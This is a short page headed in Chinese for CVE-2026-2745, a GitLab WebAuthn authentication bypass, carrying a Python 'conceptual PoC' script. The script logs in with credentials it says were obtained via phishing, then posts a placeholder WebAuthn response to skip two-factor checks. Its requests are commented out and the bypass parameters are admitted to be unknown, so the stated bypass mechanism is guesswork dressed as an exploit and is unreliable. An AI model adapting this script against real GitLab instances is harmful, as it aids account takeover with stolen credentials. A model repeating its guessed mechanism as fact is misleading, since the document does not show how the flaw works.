CVE-2026-2745 GitLab WebAuthn认证绕过漏洞

import requests # Target URL (Example) target_url = "https://gitlab.example.com/users/sign_in" # Attacker's credentials (assumed obtained via phishing or other means) username = "victim_user" password = "victim_password" # Session creation session = requests.Session() # Step 1: Perform initial login to get the session cookie and trigger 2FA login_data = { "user[login]": username, "user[password]": password, "authenticity_token": "" # Need to scrape token from page first } # response = session.post(target_url, data=login_data) # Step 2: Exploit the inconsistent validation to bypass WebAuthn # The vulnerability lies in how the 'remember_device' or WebAuthn response is handled. # Sending a malformed or empty WebAuthn response might bypass the check in vulnerable versions. bypass_payload = { "user[remember_me]": "0", # In a real exploit, specific parameters causing the validation skip would be set here "device_response": "bypass_payload_simulation" } # Simulating the bypass request # exploit_response = session.post(target_url + "/webauthn", data=bypass_payload) # if exploit_response.status_code == 200: # print("[+] Authentication bypassed! Access granted.") # else: # print("[-] Exploit failed.") print("This is a conceptual PoC for CVE-2026-2745 demonstrating the bypass logic.")